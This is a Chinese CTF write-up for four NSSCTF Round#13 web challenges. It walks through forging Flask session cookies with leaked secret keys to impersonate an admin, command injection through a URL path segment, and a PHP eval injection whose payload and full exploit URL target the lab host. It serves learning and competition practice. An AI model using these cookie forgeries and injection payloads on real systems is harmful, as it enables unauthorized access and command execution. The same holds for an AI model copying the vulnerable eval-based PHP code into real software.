NSSCTF Round#13 WEB

1.flask?jwt?

在忘记密码下面有提示secretkey,那么就可以jwt伪造

自己注册个账号然后登录

点击拿flag提示你不是admin，并且cookie里面有个session,用工具解密一下

python flask_session_cookie_manager3.py decode  -s 'th3f1askisfunny'  -c '.eJwlzjsOAyEMANG7UKcA2xi8l1mBP0paNltFuXuQ0r-R5pPOWH490_Fetz_S-bJ0JIXIZgYS0zS0VRyMbUbhKVwFKVhhcPUJ1kOjBioORTIZyKOI1UbkgzYR7L3l1oDYijBOIGeMgsUkByHYFq6eS-UutFvwtEfuy9f_BtL3BxRVLzE.ZeXYGA.PCLZkIezGFKXh55D8kvbdbiwmX0'

里面有个_user_id为2，那么猜测admin为1

修改成1再用工具伪造

python flask_session_cookie_manager3.py encode -s 'th3f1askisfunny' -t "{'_fresh': True, '_id': 'c2f0ddd29fbdcfc753a637bf16b965934f6c2a65eb2d8fcf5f3c3ac34d9a36a19d5744ea465e93887077246d1963b24e63f131d90f432d938ece015689419d2e', '_user_id': '1'}"

直接拿到flag

2.ez_factors

点击tool跳转到/114514

2*31*1847正好是114514，说明114514被进行了因数分解，那么url中的114514就可能命令执行

改成114514;cat /flag有数字生成，说明只能生成数字没有字母

od命令可以将数据以八进制数字输出

-b参数是以8进制输出

3.flask?jwt?(hard)

这次源码里面没了secretkey

先解析一下jwt看看是什么

比上次多加了时间

在源码里看到了一些东西

去/wor看一下

有时间，把这个路由下面的session随便改一下然后报错了。。。并且里面有key

hardgam3_C0u1d_u_f1ndM3????

伪造一下

为了不报错，我把时间那块删除了

python flask_session_cookie_manager3.py encode -s "hardgam3_C0u1d_u_f1ndM3????" -t "{'_fresh':True,'_id':'c2f0ddd29fbdcfc753a637bf16b965934f6c2a65eb2d8fcf5f3c3ac34d9a36a19d5744ea465e93887077246d1963b24e63f131d90f432d938ece015689419d2e','_user_id':'1'}"
.eJwlzjsOAyEMANG7UKcA2xi8l1mBP0paNltFuXuQ0r-R5pPOWH490_Fetz_S-bJ0JIXIZgYS0zS0VRyMbUbhKVwFKVhhcPUJ1kOjBioORTIZyKOI1UbkgzYR7L3l1oDYijBOIGeMgsUkByHYFq6eS-UutFvwtEfuy9f_pqTvDxRSLzA.ZeXkbQ.dk4CXwGdna3N9weB2RgSXMBm8gw

 4.MyWeb

 <?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据，但是还不会处理json格式，这样处理应该没有什么问题吧

if ($_GET['mode'] == 'save') {
    $data = file_get_contents('/tmp/data.json');
    $value = addslashes($_GET['value']);
    $data = str_replace(']', ", '$value']", $data);
    file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
    $data = file_get_contents('/tmp/data.json');
    eval('$data = ' . $data . ';');
    print_r($data);
} else {
    highlight_file(__FILE__);
} 

如果mode传参为save，把data储存再/tmp/data/json文件里，data的处理方式是先用addslashes处理，然后再把]替换成,'$value'].

如果mode传参为read,读取/tmp/data.json文件

然后eval执行data，并把结果赋给$data

假设原来data.json为[1,2,3],添加一个value值为4，data.json变为[1,2,3,'4']

如果能把后面的]注释掉，就可以插入命令

[1,2,3,'];echo `cat /flag`;//'],如果能变成这样，就能执行 cat /flag的指令

那么传入的value值就应该是];echo `cat /flag`;//

这样也不会触发addslashes函数

http://node4.anna.nssctf.cn:28017/?mode=save&value=];echo%20`cat%20/flag`;//

执行失败

擦，看了别人的wp，思路跟我一样啊，没复现出来有点奇怪,应该靶机的问题。